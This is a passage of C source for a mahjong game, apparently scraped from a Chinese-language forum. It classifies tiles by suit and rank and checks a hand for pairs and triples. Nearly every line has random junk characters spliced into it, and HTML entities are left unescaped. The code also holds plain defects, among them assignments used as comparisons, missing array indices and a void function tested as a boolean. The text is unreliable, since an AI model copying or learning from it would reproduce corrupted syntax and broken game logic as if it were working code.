if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)1 l3 ^/ l, b1 l- c. i+ X
logoo=1;
2 [4 P# R; l% gelse if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
6 g) O$ {- S2 e1 nlogoo=2;
: M4 ~  f1 o6 f* S' O+ [5 Qelse if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)) S2 L. E' m# C
logoo=3;
  _- q. i) P' T+ U/ e7 ?else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
0 Z/ c1 o0 P" y8 ]8 z$ Mlogoo=4;+ c" O# B  n) x! w8 M% D# M, T6 L& X
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
& u  s! K% X: R7 y4 E8 clogoo=5;; q  ]6 Z0 r& c6 F/ }2 B& d
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)) ^, c. V/ }0 l2 ?) X3 H. N, y. W
logoo=6;2 o4 f6 T' ^' {7 W
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
- K4 P7 q" i$ N4 Llogoo=7;; O9 V6 x- F6 u& H, w
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
1 k; e3 m5 ^* w% ]2 Z# B# }- k5 J! ]logoo=8;% y, ?/ U/ C# D/ L. @6 [$ v8 C" l% A
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
* n$ _3 \& C) p/ G: ~6 U0 I8 ]logoo=9;+ }; e) ]6 B( L% k" p- k* o
}
* T4 t: S$ C  J1 ~5 y' n/ belse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)5 s2 w! Q$ E6 G& [+ L; p' ]$ X& r: \  S
{
& D/ O3 {+ f# U& d8 {! Slogo=3;2 }3 d. r% L$ F. q8 i) ?
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
# u  w# r* L. q8 l  Y# l) Elogoo=1;8 Y+ Q' Q- d3 W: x! E6 v
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)! S8 X, }0 T# x* ]9 a
logoo=2;
7 `" C) U- i) S% w, n# oelse if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
+ G; R/ K8 H! f: _5 p( Xlogoo=3;) s( n/ u( t" m
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
- j% E9 V1 N* ~4 O9 w/ Q* U, alogoo=4;
) Z0 F" w: m9 p( y9 {9 xelse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
4 d0 t" n7 `) }" i* x1 {" blogoo=5;) v) Q6 m1 ~" Z! ?
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
  i: ~+ S2 Z  B5 E$ plogoo=6;4 I4 \$ n- q/ }0 ~
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
1 n$ |% V6 c. Wlogoo=7;
$ a1 B; m% U+ q3 B; Y3 selse if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
2 z' S0 @) f2 Y* K) l; klogoo=8;
4 r9 }( ?  Z- p! g2 }& l3 ielse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
7 _7 \; [) Q) v! H+ ?, mlogoo=9;$ v- P# W1 H2 C* d# b
}
0 ^# `, c* e* U* e2 melse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108). F! w+ ~& ]' V8 Z' P/ a* |9 c
{
% w  e& D8 [- `  W/ \- {6 ?# dlogo=4;# ]6 T- c3 {9 K% R7 E: }
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
8 _$ t) A6 ~3 C/ Slogoo=1;: X) E+ Z* D2 Z# U
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
8 i( |2 y- x' F4 y! dlogoo=2;
( L) `( g# p* x3 K2 R$ Pelse if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)6 S( C- M3 d+ A: ~2 b
logoo=3;  Y" v9 h1 ~6 e8 E* L
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)0 G# S' o# h6 q* L& r
logoo=4;
) \3 T% q* h- ]1 z; J' q: Zelse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
2 @, l; {( ^8 d5 q' ], ?, `logoo=5;8 l& l" [: g) A! F, A. i
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)$ l* ^# b& b" j( J; h
logoo=6;
) {6 e7 U- `% b9 z3 x/ Felse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
) V" w. m' |2 Z7 M6 k3 w) y2 A, alogoo=7;
: v3 K* r: X" e- d% S1 o}
" l# t( k. u9 w# b0 B) {1 ]while(b&lt;=me.m)8 n$ `  w! ^6 Z" T' O" K+ D3 |
{
' C+ @, E) y, w0 ]& M/ J+ Lif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
" K7 \8 k6 ^3 E4 d. g1 H{
1 l6 Q, n  {( M6 `: |+ klg=1;: y6 ?4 }6 G! [; B2 D
me.pp.d[0]=1;9 F+ e- R! t# ]: v( K7 Y/ t
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
7 \$ B) A3 i6 t# u4 |0 h0 D{3 b2 y' y9 `* b3 N0 v/ ]8 o$ j. a
lgg=1;
# z9 L* w: `& }3 w' G4 `/ |me.pp.d[1]=1;. g4 p: S, c% h5 |- p
}6 K8 ^5 o3 y2 P# S  i; I2 d
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4), J: t7 S+ v: D8 H. ]
{5 b6 x& j# `  t2 U- T
lgg=2;
& K, K# v! ], p4 C5 T9 Q, ?: S  _# Zme.pp.d[1]=2;
8 p( o' r; Q+ c# ?% q3 S9 f}& W- G0 o6 L9 K% G7 ]( S
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)0 E! J0 g/ b! ~
{) Y) _0 l( a  Y' d6 K4 X3 r6 l
lgg=3;
5 d/ Y9 A# }7 e+ Y& u9 ~( a$ R7 lme.pp.d[1]=3;
2 S9 v6 a* P- r/ Q  j- H' C6 h}
3 O5 E  o2 m; Lelse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
% ]5 d2 J% q; `% \2 u4 k1 o- h{
: u9 `% N3 d2 Slgg=4;
4 W/ w( U4 B, Vme.pp.d[1]=4;
4 v1 z; c& K; A) V% F}
) W  {' l( d& {- nelse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)! y: [& {8 w  V* ~/ g4 l
{2 g5 @2 q$ b" [, I( y8 X# M
lgg=5;9 C9 [, ~1 O; K3 U9 [
me.pp.d[1]=5;9 x% \1 c& W; Y3 u; P
}
) |1 w3 P7 S4 X. celse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
! Z. T9 c, B- _{4 G  @+ ], D2 A$ g4 ~
lgg=6;9 ^# k! I+ N; l* f2 d7 s- j
me.pp.d[1]=6;6 _) }0 t- R( `# W! r
}6 t# R- N3 j  A8 B" m( Z
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)) }! _( N2 v3 @  u" v0 i8 {9 G
{' I1 i5 ?4 m/ `1 C6 [0 ~; ]
lgg=7;
! I8 N" y( w9 \! zme.pp.d[1]=7;  i9 W9 z% k# J1 Q# q3 q; {
}3 m/ R7 W$ o" t- U/ A  C
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)8 H$ c% V; ?/ j- g9 b1 C
{
9 x* W3 T( U/ V5 F  ulgg=8;, r7 P, w, k( K7 m, s" |+ u
me.pp.d[1]=8;
( w/ l4 s1 k9 B* \! r- \, G) U! H}
# T- I2 s3 Z2 C1 r- @else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)( ~0 b0 y5 J% ^0 P
{
5 c" `0 Z  v) @4 r, Zlgg=9;# Y$ n; z5 O7 z+ _4 t9 ?/ _1 L4 f! i
me.pp.d[1]=9;
' m( s4 t) Z# u6 v4 y  |3 W  r}: k7 }7 O2 s# J1 B! R4 g+ q! ?
}& G9 r! V2 q1 [; K
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)4 q" x$ l1 R2 i% ?! p
{
  l1 A  [* @$ ]) M8 S$ o5 |lg=2;+ k8 T& k& q6 W
me.pp.d[0]=2;7 I: ?/ R" M( M5 G
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)7 l5 q& H3 P$ L& Y* J+ G
{
5 C, ]+ A, x6 _) B* S- u! mlgg=1;
( V4 Y' o" |8 f$ Ome.pp.d[1]=1;. n$ l& Z* P; A- K2 ?) o, a0 L
}
5 L4 a/ T# ^7 f7 c/ oelse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)) [/ l- ^+ C/ i! y
{5 n* i( T2 V: ]' x  }5 S, Y
lgg=2;2 L1 n* r7 t0 d; V8 T$ y
me.pp.d[1]=2;
& q+ R4 t0 }/ K/ h# C4 _}
+ T) w: `: C, ^! Jelse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)% n' r( W% ?" \- _5 p  d8 F
{
4 E! y# q& B, D% `' Y6 N) X& Y' tlgg=3;
# U3 [1 I( j- M( I1 Z7 |1 `me.pp.d[1]=3;( L& t, W, w8 H
}
  E. S1 W8 Y, L. Eelse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)8 g6 `! I" f* h( D4 a' D
{6 Q0 C1 z% q+ X( x- I9 T+ q: }
lgg=4;
+ t; Z6 d7 p0 K$ w2 V1 O: Dme.pp.d[1]=4;
2 H- _# V' w$ K- {# P}$ ~9 w5 A2 g! K3 X
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)4 Y$ X% ?( S& n0 c5 \4 j* b
{* k. g. b% I8 t' E$ T5 e7 a
lgg=5;
/ q$ a, G0 K7 ume.pp.d[1]=5;0 t  Q* k: [: u) }
}
4 s" \# n7 P+ }else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
5 w" n) q& E4 K& C) P$ d& F+ F* @{# m; W! K% \: `" o+ C
lgg=6;: z/ z' b; P  B" O) m* t
me.pp.d[1]=6;: _& Q% G9 ~  c( r
}
$ n  t$ T/ E: `( ~+ melse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
$ k' m% S2 Q7 q- g: B{
0 x7 W. J5 o, ylgg=7;5 U) S  F4 _% _# v  o% d- D
me.pp.d[1]=7;
  B, u3 F+ R: X4 u1 @! _}; Q7 Y2 t" A# J( [; E
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)" U' X( |4 y6 j9 K" S
{
# j: W- K5 ^& T! dlgg=8;2 C3 y, T' @% f$ ~8 M9 U' c) k
me.pp.d[1]=8;
) A9 s  B: @2 g/ J6 x, j5 f1 E}
0 U* ]; c; F% J. E8 ~else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
* d3 s  I- g$ R& Y& G; u0 _1 ^2 X{
& }# n/ z/ g2 n6 {' t% V5 @! W2 G' flgg=9;
& F* S! `! {+ _8 o; j. m( X3 Gme.pp.d[1]=9;, {: R& [1 T- g% W9 {  N0 I" ~% r
}
( Y! c" @, v. }" w0 L# `) i' h}, |1 g7 k* L1 q, c
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
3 I# N$ u5 N& X' h! c! D& q{
( V3 ~$ ?) P+ w) clg=3;
/ G% a) P0 c! e+ ^; S. ime.pp.d[0]=3;
+ r" c  O7 @: jif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)' j/ @9 D2 I, z4 R8 |
{& u: |9 f; s* D/ q. k7 K/ F" v5 X
lgg=1;  c+ A. |' p# @4 _6 C0 a! V' Q
me.pp.d[1]=1;
$ l7 f8 ]7 x$ _2 @! y}9 t8 O0 a: u6 B; \8 ?4 q: x. ^
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)5 ?2 X5 b8 D: f- X, o. \9 S
{5 j- g: n! e+ e# ~9 T
lgg=2;
/ j# P+ g$ K8 Dme.pp.d[1]=2;' f1 e. L7 U( s: D# D# j+ \
}& W+ C# ?& |4 Q) J
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)# P& k0 [6 w) L0 [
{
2 g5 A& Z9 u$ j2 Olgg=3;- B6 l) s# R7 _4 e- i, X! b+ N
me.pp.d[1]=3;, S' G1 n7 K3 O0 M) z% @
}- \: X7 L7 {, V& X
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)' j0 F# K& ~) F, v
{
# s! E% A! `4 _lgg=4;! M& N: _. j0 ]( G; d0 i5 u  W
me.pp.d[1]=4;( a+ D" }+ J7 N. o; z7 r; c0 T
}
4 N) h% [$ z6 R" d1 velse if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88): k, A; T$ I2 y9 z3 H; v
{# x& F0 o9 N9 P  U. r% ?
lgg=5;2 G8 [* ?& r# t. V0 @2 Z
me.pp.d[1]=5;% j4 {: V$ A& v* V. t5 _, k: O
}- f" N# G5 q. p" _( k
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
( g: x$ _3 p, U{/ ~" x" a8 x8 z( Q( a* x+ R# _% q) s
lgg=6;
% R( J6 t% F& s6 R2 [- N! h  W% ^" vme.pp.d[1]=6;* M3 Y6 \0 g/ d" h  [
}6 u* ~7 x0 S$ ~3 [, b. A
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
1 J: x; g6 H) P; X{. {% g3 V. E3 ?) N/ U
lgg=7;
& \0 X1 s, X! ~9 y, [me.pp.d[1]=7;
: p; S" E" h% @7 U: T& A. [# P4 i}2 H7 k4 X( g! O, P: T# N, e9 L9 n
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)0 E7 G4 `7 s! ?4 d4 b
{
$ F9 v$ B: D+ k2 Plgg=8;9 {6 S$ S+ H& P+ r1 V
me.pp.d[1]=8;8 H+ G9 m% v0 C9 i: Y
}
6 i, g8 {( i6 g8 b. M' {( Qelse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)/ \- H. C! e( x8 j3 \
{; B) N, {) `) n9 x7 W3 Y7 _7 n; k3 Z
lgg=9;
. b0 D" ~  \! Y+ F/ _me.pp.d[1]=9;
/ _6 p2 F2 ~# C+ K) E$ {}2 Z! O8 a. G- i0 U% Q' n
}
! E. M; Z: n. R5 U* t. [* y/ lelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
/ s% ?! d# L- f! x, n{
; C- d. R' C8 Y& d& S# {lg=4;2 G. h  r' p( W9 b
me.pp.d[0]=4;
2 @! ~- y$ `% L- Pif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)* n  l' N( Q7 A$ G& r, q" n
{, e" K* z& ^& A1 N5 @. ^
lgg=1;6 K0 |) D4 |7 X1 t
me.pp.d[1]=1;: b8 U% C9 u& j0 @" o- b( E" M
}
# q0 C8 a  }8 n8 z0 w! telse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
/ ~2 {& [! `$ r  b) F; A$ A4 [{' }. c% y. x$ ?
lgg=2;, H- b0 N* k* m- Z# Q$ I
me.pp.d[1]=2;
4 H  U( @% s6 ~6 L8 X7 i}
! g2 Q" w' P2 qelse if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
  G5 m# b& N% o, n) Z" X) z' y{
) R' K$ T2 v1 d% N4 p1 ~lgg=3;. O! ]# L9 m' ]7 y4 J$ O
me.pp.d[1]=3;
8 u, {& w& }7 h/ N- s}! Z9 g6 f1 O/ w0 i) y
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
8 @2 q5 N  D9 D' `3 ^- e$ V' Q{% H9 r& |, Q" ^; N+ X9 t6 m5 Q/ _7 W
lgg=4;) }$ [1 @8 u# [& h) K/ W7 Z( {8 a
me.pp.d[1]=4;
' Z4 g# ]: A) B0 o! G}# O/ M8 G9 w/ t) J& C7 o* Q
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)) a. t0 {& _+ E. u
{  L9 g$ {$ z- `) M7 a; v
lgg=5;9 y6 h2 J5 l: C. ]6 V* f! V% M, u, |
me.pp.d[1]=5;
( Q7 y- y4 @* V+ m; |6 f}
  k4 F7 `7 o' N& i3 J; telse if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
; e* o4 L' }7 J{) W2 m/ }2 ^+ [! P. X; x. w
lgg=6;
4 O6 x) v4 e" O! ?+ ]me.pp.d[1]=6;
; _# g( y6 p( h3 I}
- C6 @6 v/ b" @1 @# u: relse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
2 n/ D, ?% Y+ m& K* k{
/ N5 \- M8 v$ I! N/ Glgg=7;& _' K5 x2 T/ B; C$ h
me.pp.d[1]=7;
4 J6 E3 v: B* a# V6 V, Q}: h4 z" e7 B/ c4 Y% {1 V$ B# O+ S
}6 U) [6 ?, ?- k7 _
}
7 m  j+ ^8 g% F* E& y% S}
8 S1 l2 z. a5 D6 rvoid istwo(testt)
/ ^" Y. c5 J- _; Bint testt[];
+ i+ ~' c/ r$ r1 ~+ f  |{ if(testt[0]==testt[1])" f# ~, D; {5 E% n1 E' Q
second++;
' {! g. K  A8 w* e7 R}& S2 `  V+ \8 r5 K
void isthree(testt,n)) E9 \5 q2 `- z! ^% K/ g! W
int testt[],n=0;
# Y+ t  I$ R  z, v9 J; c{ int i,j,flage=0,lianx=0,same=0;
/ g7 c# _5 `5 O# A) Dn=n/3;
) Q+ r" x- S4 r' B' yfor(j=0;j&lt;n;j++). ]) @4 |7 `; [; ?5 r4 Q3 J' m
{
. \2 I9 c4 T, Sfor(i=j*3;i&lt;2+j*3;i++)
; t4 C3 A7 m  ~{( o/ v/ q, }  p& t$ E
if(testt==testt[i+1])  |, h: \$ Q, Q, Y# g% U& ?; _
same++;
* |: k9 T! n! q& C' |0 v- aif(testt[i+1]-testt==1)" \" r& D8 o; }7 K, t
lianx++;
6 a2 X( M- J$ e, {; z' D$ I, Y/ M5 X}: S7 _3 P, V2 b$ d3 P& M
if(same==2)* N$ k4 x7 I7 t1 q  }0 L8 ]+ R
threes++;
* |! `* p2 W& ^$ bif(lianx==2)% \4 M: v6 Z4 f- [& a2 C0 h
threes++;3 M& ^0 g* l- K
same=0;* h& s% h- W5 m3 w: s1 S
lianx=0;
5 q% |: D$ ]6 Q. K! O+ Q}" j, D2 Q- t; C
}
2 u; U( p8 ~; L8 g7 K6 yvoid panduan() /*本程序的精髓*/5 c' P6 B8 i' g8 r
{int data[14];/ r0 o! }- L! W
int pw[14];
3 p! g6 B$ J7 {% G3 P3 m& [4 Bint pt[14];
2 ]' G& N( ~' O1 Hint pi[14];
' j2 d+ L1 W! W7 K* Nint pf[14];. c$ M+ B4 `: j# V( C$ O* U% j. w
int test[12];& Z4 n/ c% a  Z6 M1 g
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;+ {7 g; a% o2 K3 x
for(jj=0;jj&lt;=me.m;jj++). s, \: x5 b9 C. V' {$ U
{  \9 t( ~/ s$ O2 E0 g$ h  I
if(me.pp[jj].d[0]==1): f7 p2 i% ]' s$ M4 `
data[jj]=me.pp[jj].d[1];
. s+ v) o1 q; P% l2 f) Wif(me.pp[jj].d[0]==2): A9 p& _" o4 ?1 n) |) K. e
data[jj]=me.pp[jj].d[1]+10;
$ z6 {: B, \3 E& nif(me.pp[jj].d[0]==3)+ ~+ T; d. E3 P/ R
data[jj]=me.pp[jj].d[1]+20;2 [! Z: a" x1 L3 Z$ \8 v+ C) \
if(me.pp[jj].d[0]==4)
2 M+ `8 S6 Z+ w# |/ \; d* o8 kdata[jj]=me.pp[jj].d[1]+30;  r$ N* N- J- ]
}
0 E2 V8 f! n( |) sif(logo==2)
6 F( |% j/ t1 S, ]( H# iw=logoo+10;3 J' b( [. H9 r! e* |8 e
if(logo==3)7 [& j" S* x; I; R8 r5 V
w=logoo+20;  {& A9 z" [/ i- P$ s+ @/ U
if(logo==4)
: w4 M  f: b8 rw=logoo+30;& S( p- f8 @. B7 A7 A
data[computer.m+1]=w;/ R& H' j; E; _' T/ W7 C  P
for(mm=0;mm&lt;=computer.m;mm++): y& d( F7 W5 ~0 j$ U" D/ g' g5 u
for(nn=mm;nn&lt;=computer.m;nn++)
  E8 y; V, \/ Fif(data[mm]&gt;data[nn+1]). ^/ z0 ?7 H$ b* _  g1 Q, ^* t
{8 R; s, C# C7 A% I" |3 j
tpp=data[mm];, ^- c/ l6 n; D7 L
data[mm]=data[nn+1];& y6 ~9 Q+ l; ^# O+ V4 ^
data[nn+1]=tpp;
$ [/ r' w/ m& z  o9 s( O}
8 s* v) U+ ^7 C2 e# ?6 w* n* Elp=0;
# @4 D4 f0 _! X( Mwhile(lp&lt;=computer.m)
! }5 R( O1 x3 g0 Q* c{ if(data[lp]&lt;10)/ E6 _$ I! X- T$ w$ U' t' `
pw[ww++]=data[lp];4 R6 ]# v" G1 v" t- W7 \" W
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
& ?2 l0 _, A! R# p2 K5 t7 }pt[tt++]=data[lp];
& L; ^. u5 ]: ^# p' M( Dif(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
% ~2 G$ U/ U7 api[ii++]=data[lp];' B( d& W3 _8 W) b/ Z
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
3 A7 I" T4 }+ Bpf[ff++]=data[lp];
% }- q7 ]) i4 {7 E$ ^! hlp++;
6 N$ x% ]* H8 V8 u}. ^! @2 z, M8 u8 M% d: Q
if(ww==2)
! j+ f/ u& R/ I* ristwo(pw);
9 R" K. s5 D9 p5 F- P1 Pelse if(ww==3)( d5 O. Y6 @' t$ Z" _; u- Z# f' B9 r
isthree(pw,ww);1 i6 r- i: o% u  a" W& q# I
else if(ww==5)  H9 R7 G( w# V5 Y
/*pw[5]原始牌数组,假设已经升序排列*/
5 R; Q- O8 H( k& i/*test[3]用来放置测试牌的数组*/3 ]4 y7 c1 S( m6 i: y# O$ x  Q3 S
for(i=0;i&lt;4;i++)
, ~" o+ P# K! z3 ?{. j( u* n9 }: N+ A" W& Q
for(j=0;j&lt;2;j++)
( }! W% B6 f' l; x  l{test[j]=pw[i+j];
4 \1 L( T0 p) ^2 h}1 J; R" `( k  |' q, H" s. ^
if(istwo(test))7 B- P5 K3 \/ Z
{ ill=0;- t) ~; W- u0 L5 d. R% Z1 n
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
. ^; J. Y+ {, Z6 l' q5 J* U{if(kl==i)% w2 f2 F& R' _; i2 j
{$ Z& r; O# U9 ]- n2 G4 C
kl=kl+2;
) r; F8 T9 x5 u* d% V( Z7 d" Mif(kl==5)* V; V2 u$ h1 t5 C) z
break;
5 }; r% k2 x% Y6 u$ i" g! w}
. Y* p$ Q! M( g2 Ftest[ill++]=pw[kl];
4 Q8 L, ?* N$ ]7 b: k}1 Z8 V7 c% l. r+ O. ^. e; }
isthree(test);
$ a1 _; o. w9 S) n% r}( A) X& F4 f: d
}
2 B" g& L* X6 b; }$ a+ u: A" \else if(ww==6)0 N4 u! @) D: B0 l: E1 X% `! a
isthree(pw,ww);
7 u0 E/ y- c: v7 Ielse if(ww==8)# z) A0 E3 J) G" F! `0 A
for(i=0;i&lt;7;i++)" T% S( k2 x& ~5 Q$ R2 e
{
% V9 X* D: B- D$ S7 d$ Cfor(j=0;j&lt;2;j++)$ L- W% P. G, {
{test[j]=pw[i+j];
) c. A, i+ x9 ]. K4 [% e9 e# x}
) t! t3 o6 z$ }6 \if(istwo(test))9 u8 S  o; k0 V5 k: T
{ ill=0;
# c& E- M+ {& T% y  ~& D  mfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
2 q, y4 Z  P) E5 e, U& M9 d{if(kl==i)3 v8 O. u2 G% a+ W5 ~: j8 @+ O$ e
{
8 D  `9 p7 i7 o* H+ M' Jkl=kl+2;6 c8 V! P& Q* z8 c+ |& r# b' Q
if(kl==8)
/ E# D4 L9 d  }; `break;- B/ c$ T/ j  j) S1 M- v( P
}
; t' v  m# o, y3 Btest[ill++]=pw[kl];
6 X" k# d) z# w- R6 y( C, R}
' J& B8 q7 h6 Uisthree(test,ww-2);
! |3 o) F/ s7 v- {}/ I1 N9 _! w( F! X, F4 V/ x
}
  j) K: s& X  [% ?/ S3 Welse if(ww==9)
6 g1 F3 B0 J  l4 |: r3 F9 e7 Risthree(pw,ww);$ H5 Z5 t% ^1 }
else if(ww==11)/ F, Z9 J, |  a$ e( U2 C
for(i=0;i&lt;10;i++)
5 C2 W& ?  X/ A3 H{+ R$ C# j3 N4 k; Z5 ]& e
for(j=0;j&lt;2;j++)8 _) g: ~0 f# i' k0 B# k
{test[j]=pw[i+j]; / C- \! `% Y7 y9 t
}
6 u& Z' I, d, Y* g- b1 t$ dif(istwo(test))
' e( b, K* w( p8 E$ N7 {( z* v{ ill=0;& F  J6 T8 [% h) h# [9 j
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/8 y, Y- w* A6 }1 V: E' _, L
{if(kl==i)
; a! ~4 I! T& E8 I9 l' p$ P2 a) d{
2 d, M5 U) _/ h0 t/ E! vkl=kl+2;
, }$ m, |7 b" n- H  \/ [1 c0 F8 {if(kl==11)+ {7 T. t6 I& ?1 S9 J8 Q
break;. r3 k' g8 j" X" R( e, }
}
. J; n  Q: U& x  p' E3 r- xtest[ill++]=pw[kl];
# }6 b. W/ Z/ C1 l% P- f, O' X) S( ~1 L" {}
$ J  O. R% o6 iisthree(test,ww-2);
9 T8 [6 r& G* ~, i( m/ r9 M8 |+ _}
& g5 U. W- s5 @- U0 g} 6 y- `7 X. ^$ W3 F. E0 ~
else if(ww=12)
3 v( }. c4 e2 `6 A- p8 F/ ~, ^1 Bisthree(pw,ww);$ u+ J* H- I$ I  o* N
else if(ww=14)5 t$ {- u+ U! x1 h1 [" m" {+ X
for(i=0;i&lt;13;i++)) \+ }- f% w+ ~* x
{
4 ~3 J& r8 \# x- i& ^7 i4 u9 n9 xfor(j=0;j&lt;2;j++). N& c) t7 e/ V: g
{test[j]=pw[i+j];; d6 E) r+ c9 d- U4 X' |8 O9 g
}
; E+ ~* x8 A, ?* P+ p* u% Xif(istwo(test))2 a  f$ _' B1 S$ i) u. Q! `
{ ill=0;
: \  a; q5 e2 b9 kfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/) X1 Q9 ^0 \: Y2 W1 @7 w9 D% k/ {
{if(kl==i)
9 g. x% `) u, Y' \{
; T3 q2 X+ j( K" v9 Okl=kl+2;
3 j7 |2 y6 s" [/ Z# q* T, g9 Mif(kl==14)
2 C( K/ _1 E+ q! O# K# ]" S6 hbreak;# ?$ W9 ~, G% v- c, f( Z1 Y
}
" `& X7 q4 t! G2 O  ?test[ill++]=pw[kl];0 d5 Y' G% B4 g2 x7 o
}
$ D. t- p& z6 g; W. [isthree(test,ww-2); ' k  L! c& w# q& z) H4 T4 D7 y# X. P
}+ X8 t7 `) B& L, S
}
- Q: s. P7 Q, j2 F0 |if(tt==2)
5 w8 M1 |2 I, G9 m4 Aistwo(pt);# j3 m9 Y8 K0 |& I' y
else if(tt==3)* J0 O4 @. q4 C$ {+ o1 q7 ^& B% ^
isthree(pt,tt);! _, x6 y% |  ?+ E# S
else if(tt==5)
7 `9 ^* Z6 k& m& {/*pt[5]原始牌数组,假设已经升序排列*/; f$ [" ?' F5 c- n9 R) i
/*test[3]用来放置测试牌的数组*/5 @! J- ~) X4 N, B4 c
for(i=0;i&lt;4;i++)6 V4 m( `2 m* K6 |! h1 t, W
{
9 Y4 n6 R6 r$ Y' r) X; Cfor(j=0;j&lt;2;j++)
& {  r' I& [( a: H0 G3 q{test[j]=pt[i+j];
& p( Z3 E  h3 y) M: ?2 u& O}
5 p1 n  f4 j! T) u3 P3 b4 E  C3 D! A) Yif(istwo(test))
) F( a, h: J" Q2 b' j/ j; A, Q/ [{ ill=0;
- ^3 P# e7 W0 {1 f& qfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
. {/ F, I4 O5 I* B{if(kl==i)# w) [3 C1 l7 F6 W
{0 p9 C& |" H. [' T
kl=kl+2;: @% C- x/ D/ w
if(kl==5)& N% J" Q! t9 f/ e" x$ l
break;7 L7 p: A3 ]+ k7 ]  M( ^& ]2 u
}
/ J: L5 X8 z' d/ ^0 ]" L0 f1 |4 utest[ill++]=pt[kl];
1 i  G" R6 u0 s. [6 n$ W9 f5 @}
2 H) n# t& |5 A$ aisthree(test);
! F% s0 u: Y* B4 u6 z3 L- r  k}
/ U+ z+ r* X( ^" E3 a4 \3 q}
/ W/ Z$ F; N  C' e0 W: eelse if(tt==6)+ S( M  Y1 W/ \6 C% ?
isthree(pt,tt); ' @" p& C6 I' Y; T! Y8 C; U
else if(tt==8)
